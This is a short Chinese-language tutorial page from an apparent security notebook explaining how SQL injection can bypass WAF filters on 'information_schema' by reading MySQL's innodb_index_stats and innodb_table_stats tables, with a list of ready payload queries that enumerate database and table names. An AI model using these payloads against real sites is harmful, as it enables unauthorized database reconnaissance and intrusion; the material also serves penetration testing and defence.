1.1. 前言

大多数有WAF的情况下,使用一些敏感词如information_schema会被直接过滤掉,但是可以使用innodb存储引擎来绕过这个限制

从Mysql5.5开始,默认的数据存储引擎就为InnodDB,执行命令select @@innodb_version就会显示出innoDB的版本(和Mysql一样)

image-20220124111217230

从5.6起,InnoDB新增加了两张表innodb_index_statsinnodb_table_stats,这两张表记录了所有新建的数据库与表

image-20220124111442939

[!WARNING]

不幸的是InnoDB没有记录字段,所以只能用于获取数据库名和表名

1.2. innodb_index_stats

查看表结构,可以明显的看到有2个字段:database_nametable_name

desc innodb_index_stats;

image-20220124111608606

查看内容

image-20220124111726582

很明显,前两列分别是我们的数据库名和表名

因此注入的时候可以通过这个表来获取数据库名和表名

Payload:

-- 查询所有新增数据库
select group_concat(distinct database_name) from innodb_index_stats;

image-20220124112044056

-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from innodb_index_stats where database_name="test";

image-20220124112155431

1.3. innodb_table_stats

和上面类似,都有database_nametable_name,所以上面改下表明就可以了

image-20220124112259465

-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from innodb_table_stats where database_name="test";

1.4. Payload汇总

其实还是很简单,就是新版本的mysql中多了两个表mysql.innodb_index_statsmysql.innodb_table_stats,然后这俩个表存储了数据库名和表名

-- 查询所有新增数据库
select group_concat(distinct database_name) from mysql.innodb_index_stats;

-- 查询数据库test中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name="test";

-- 查询当前数据库中的所有表名
select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=schema();
Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-01-25 15:14:07

results matching ""

    No results matching ""